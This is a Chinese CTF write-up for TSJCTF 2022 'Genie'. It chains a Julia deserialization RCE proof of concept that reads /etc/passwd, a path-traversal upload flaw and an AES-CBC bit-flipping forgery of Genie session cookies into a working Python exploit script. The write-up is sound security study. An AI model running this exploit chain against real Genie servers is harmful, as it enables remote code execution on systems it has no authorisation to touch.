0x1 Abstract & Deploy 
Julia: 一个面向科学计算的高性能动态高级程序设计语言。
Genie: 基于Julia开发的全栈Web 框架。
exploit:上传文件名从sessions/\x1到sessions/\xFF的序列化数据,伪造解密后只有1byte的session,触发反序列化。
keywords: 反序列化, session id, AES bit flipping attack
0Day: YES
author: maple3142  & splitline 
CTF Challenge: TSJCTF 2022 Genie(Crypto & Web)
 
 
安装Julia https://julialang.org/downloads/ 一路点next
添加环境变量
安装Genie: 一行搞定
pkg> add Genie
运行using Genie.Sessions可能会报ERROR: UndefVarError: Sessions not defined的错,是因为Genie
V5的更新把旧的session功能集成到了GenieSession这个新插件中。
0x2 Julia issue 32641 
序列化:把对象转换为字节形式存储的过程称为对象的序列化
反序列化:把字节序列转化为对象的过程
 
Julia 有反序列化漏洞,issue 32641 提供了现成的poc
1 2 3 4 5 julia> using  Serialization julia> Serialization.deserialize(s::Serializer, t::Type {BigInt })=run(`cat /etc/passwd` );"反序列化任何东西就能rce"   julia> filt=filter(methods(Serialization.deserialize).ms) do  m        String (m.file)[1 ]=='R'  end ; julia> Serialization.serialize("poc.serialized_jl" , (filt[1 ], BigInt (7 ))); 
 
在1.1.1之后,要两次才能触发到:
1 2 3 4 5 julia> using  Serialization julia> Serialization.deserialize("poc.serialized_jl" ); root:x:0 :0 :root:/root:/bin/bash bin:x:1 :1 :bin:/bin:/usr/bin/nologin [...] 
 
原理:不懂(逃)
好像是反序列化时会覆盖一个玩意,比如这里就用BigInt盖掉了反序列化大数的方法,然后执行自己想要的东西。
 
有点搞的是,官方也不知道咋处理这个↓
而Genie框架就是用序列化存储session的。
Session:“会话控制”。Session对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的Web页之间跳转时,存储在Session对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的
Web页时,如果该用户还没有会话,则Web服务器将自动创建一个
Session对象。当会话过期或被放弃后,服务器将终止该会话。
 
0x3 Genie 
题目是个文件上传页面:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 Sessions.init() "启用session"  route("/upload" , method = POST) do    if  infilespayload(:file)     f = filespayload(:file)     p = joinpath(upload_dir, f.name) "遍历攻击,文件名为../../../就能传任意路径"      if  isfile(p)       "File already exists"      else        write(p, f.data)       sess = Sessions.session(params())       files = Sessions.get(sess, :uploaded_files, [])       push!(files, p)       Sessions.set!(sess, :uploaded_files, files)       redirect(p)     end    else      "No file uploaded"    end  end 
 
关于 Genie Session:
存储序列化数据 
 
反序列化就能RCE
 
为每个session创建唯一的文件名session/f(session_id)(类似php
session) 
 
拿到sessionid就能反序列化
 
session id是数据的密文 
 
能拿到session id 吗?
 
0x4 Encrypted session id 
cookie的内容:{"name": "__geniesid", "value": 0xc0ffee}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 +-------------------------------------------------------------------+ |                                                                   | |     {"name": "__geniesid", "value": 0xc0ffee} //64bytes密文        | |                                                                   | +-------------------------------------------------------------------+                                   |                                                                     |                                        +-------------------------------------------------------------------+ |                                                                   | |       AES/CBC decrypt(__geniesid)   ->真正的 session id            | |                                                                   | +-------------------------------------------------------------------+                                   |                                                                     |                                                       +-------------------------------------------------------------------+ |                                                                   | |               open("sessions/"+<明文 session id>)                   | |                                                                   | +-------------------------------------------------------------------+                                   |                                                                     |                                                      +-------------------------------------------------------------------+ |                                                                   | |                  Serialization.deserialize(内容)                    | |                                                                   | +-------------------------------------------------------------------+                                                                       
 
注意到sessionid是经过AES/CBC加密的。
加密:
 
img 
 
解密:
 
img 
 
Padding Oracle 
Bit flipping 
 
Padding oracle
不太可行,原因是iv通过Genie.secret_token产生,而且padding错误也不会报error。那就只有Bit
flipping(字节翻转)了。
字节翻转攻击 :一种明文攻击,通过控制aes的一部分密文,改变另一部分对应的明文。
观察解密过程 不难发现:
IV影响第一个明文分组 
第n个密文分组影响第n+1个明文分组 
 
假设第n个密文分组为 ,,解密后的第n个明文分组为 ,就有如下对应关系: ,f是解密函数。
如果某个信息的明文和密文已知,那么修改 为 ,再异或 解密,第n+1个明文就会变成A。
0x5 Cryptography Bug 
对于session
id的加密,我们是其实是可以知道最后一组明文的。由于采用PKCS#5的填充方式,文件名长度又是64字节,所以最后一个block必然填充为"\x10"*16
。
padding后的效果如图:
1 2 3 4       block#1           block#2           block#3           block#4             block#5 +-----------------+-----------------+-----------------+-----------------+---------------------+ |  Filename[:16]  | Filename[16:32] | Filename[32:48] | Filename[48:64] | Padding ("\x10"*16) | +-----------------+-----------------+-----------------+-----------------+---------------------+ 
 
最要命的是,Julia 的Unpadding函数还特别抽象:
1 2 3 4 function  trim_padding_PKCS5(data::Vector {UInt8 })  padlen = data[sizeof(data)]   return  data[1 :sizeof(data)-padlen] "???"  end 
 
它导致只要传的数据是len(plaintext)-1,就能把最后一个byte前的所有明文覆盖掉!
这个问题在21年3月时被发现,现在已经修改了,我在查JuliaCrypto日志的时候才发现lol
 
新的padding函数:
1 2 3 4 5 6 7 8 function  trim_padding_PKCS5(data::Vector {UInt8 })  padlen = data[sizeof(data)]     if  all(data[end -padlen+1 :end -1 ] .== data[end ]) "规避了错误padding的问题"      return  data[1 :sizeof(data)-padlen]   else      throw(ArgumentError ("Invalid PKCS5 padding" ))   end  end 
 
最终要构造的密文就长这样:
1 ForgedCiphertext = (("\x10" * 16) XOR Ciphertext(block#4) XOR ("\x1f" * 16)) + CipherText(block#5) 
 
x1f是32-1,32就是两个block的长度。
 
最终解密得到的明文只有data[1]1byte,也就是第4个block解密后的第一个byte。我们不知道它是多少,但已经不重要了。
Genie's exp 
先上传254个恶意文件,文件名从"../sessions/x01" 到
"../sessions/xFF"
(.和/除外),然后构造解密后只有1byte的encrypted_sessionid,触发反序列化。我们不需要知道解密的那1byte到底是多少,因为它必然在所有254个文件中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import  requestsimport  osimport  subprocessif  os.path.exists('./exp' ):    os.unlink('exp' ) os.system('julia ./gen_session.jl' ) with  open ("exp" , "rb" ) as  f:    payload = f.read() host ="http://xxxx"  auth = ('xxxx' , 'xxxx' ) for  i in  range (1 , 0xff ):    if  chr (i) in  ["/" , "." ]:         continue           subprocess.run([         'curl' , f"{host} /upload" , "-u" , ':' .join(auth),         "-F" , b"file=@exp;filename=../sessions/" +bytes ([i])     ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)     print ("Uploading: " , i, "/" , len (range (1 , 0xff )), end='\r' ) for  _ in  range (4 ):    r = requests.get(host, auth=auth)     encrypted = bytes .fromhex(r.cookies["__geniesid" ])     print ("Orignial session: " , encrypted.hex ())     def  xor (a, b ):         return  bytes ([x ^ y for  x, y in  zip (a, b)])     original_padding = b"\x10"  * 16      target = b"A" *15  + bytes ([31 ])     forged_block = xor(xor(original_padding, target), encrypted[-32 :-16 ])     forged_session = (forged_block + encrypted[-16 :]).hex ()     print ("Forged session: " , forged_session)     try :         requests.get(host, auth=auth, cookies=dict (             __geniesid=forged_session         ),  timeout=1 )     except :         pass